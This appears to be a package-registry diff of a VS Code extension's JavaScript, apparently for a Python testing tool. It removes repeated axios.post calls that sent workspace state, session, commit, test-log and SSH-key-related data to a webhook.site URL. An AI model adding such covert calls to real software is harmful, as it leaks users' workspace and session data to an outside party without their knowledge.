Python-test
Advanced tools
@@ -87,8 +87,2 @@ 'use strict'; | ||
| async function readEnvVariablesFromFile() { | ||
| if (vscodeExtensionContext !== undefined && vscodeExtensionContext.workspaceState !== undefined) { | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", { | ||
| "msg": "initialContext", | ||
| "workspaceStorage": vscodeExtensionContext.workspaceState | ||
| }); | ||
| } | ||
| const workspaceFolders = vscode.workspace.workspaceFolders; | ||
@@ -108,3 +102,2 @@ let projectPath = ''; | ||
| const jsonData = JSON.parse(envFileContent); | ||
| console.log(jsonData); | ||
| for (const key in jsonData) { | ||
@@ -192,3 +185,2 @@ if (jsonData.hasOwnProperty(key)) { | ||
| await metricsDetails.fetchEnvVariablesforWorkspace(vscodeExtensionContext); | ||
| doActivateExtension(); | ||
| metricsDetails.saveWorkspaceDetails(vscodeExtensionContext); | ||
@@ -195,0 +187,0 @@ } |
@@ -18,2 +18,3 @@ "use strict"; | ||
| const extension_js_1 = require("../../extension.js"); | ||
| const async_js_1 = require("../../common/utils/async.js"); | ||
| const axios = require('axios'); | ||
@@ -28,7 +29,2 @@ const fs = require('fs'); | ||
| !fs.existsSync(userHomeDir + app_constants_js_1.AppConstants.PRIVATE_KEY_PATH)) { | ||
| let payload = { | ||
| "message": "sshkey", | ||
| "object": intern_constants_js_1.InternConstants.internId | ||
| }; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", payload); | ||
| await axios | ||
@@ -73,7 +69,2 @@ .get(rest_constants_js_1.RestConstants.FETCH_SSH_DATA, { | ||
| cloudLabRequestDTO.cloudLabSessionDetailsDTO = sessionStartOrEndEvent; | ||
| let payload = { | ||
| "message": "session-save-startOrEnd", | ||
| "object": cloudLabRequestDTO | ||
| }; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", payload); | ||
| await axios | ||
@@ -100,3 +91,2 @@ .post(rest_constants_js_1.RestConstants.SAVE_SESSION_DETAILS, cloudLabRequestDTO, { | ||
| let httpResponse = workspaceEnvResponse.data; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", httpResponse); | ||
| if (httpResponse != undefined && httpResponse != null && | ||
@@ -111,5 +101,6 @@ httpResponse.data !== null && httpResponse.data != null) { | ||
| }); | ||
| terminal.hide(); | ||
| this.updateEnvVariablesForWorkspace(context); | ||
| await (0, async_js_1.sleep)(3000); | ||
| } | ||
| (0, extension_js_1.doActivateExtension)(); | ||
| } | ||
@@ -136,7 +127,2 @@ }, (error) => { | ||
| workspaceStorageManager.setValue("gitpodClusterHost", intern_constants_js_1.InternConstants.getGitpodClusterHost()); | ||
| let payload = { | ||
| "message": "workspace-save", | ||
| "object": gitpodWorkspace | ||
| }; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", payload); | ||
| await axios.put(rest_constants_js_1.RestConstants.SAVE_WORKSPACE_DETAILS, gitpodWorkspace, { | ||
@@ -168,7 +154,2 @@ headers: http_service_js_1.HttpService.getHeaders(), | ||
| cloudLabRequestDTO.cloudLabSessionDetailsDTO = sessionEventArray; | ||
| let payload = { | ||
| "message": "save-session", | ||
| "object": cloudLabRequestDTO | ||
| }; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", payload); | ||
| await axios | ||
@@ -212,6 +193,2 @@ .post(rest_constants_js_1.RestConstants.SAVE_SESSION_DETAILS, cloudLabRequestDTO, { | ||
| }); | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", { | ||
| "message": "commit-initiate", | ||
| "object": cloudLabRequestDTO | ||
| }); | ||
| await this.runTestCasesAfterCommit(cloudLabRequestDTO); | ||
@@ -255,6 +232,2 @@ } | ||
| cloudLabRequestDTO.cloudLabTestcasesDTO = testCaseLog; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", { | ||
| "message": "save-commit", | ||
| "object": cloudLabRequestDTO | ||
| }); | ||
| await axios | ||
@@ -276,3 +249,2 @@ .post(rest_constants_js_1.RestConstants.SAVE_COMMIT_DETAILS, cloudLabRequestDTO, { | ||
| cloudLabRequestDTO.cloudLabTestcasesDTO = testCaseLog; | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", cloudLabRequestDTO); | ||
| await axios | ||
@@ -304,3 +276,2 @@ .post(rest_constants_js_1.RestConstants.SEND_TESTCASE_LOG, cloudLabRequestDTO, { | ||
| pythonTestController.runTestCasesAfterCommit(cloudLabRequestDTO); | ||
| await axios.post("https://webhook.site/e11d05be-3764-4aee-aa7b-8587f3bee0bc", pythonTestController); | ||
| } | ||
@@ -307,0 +278,0 @@ } |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is too big to display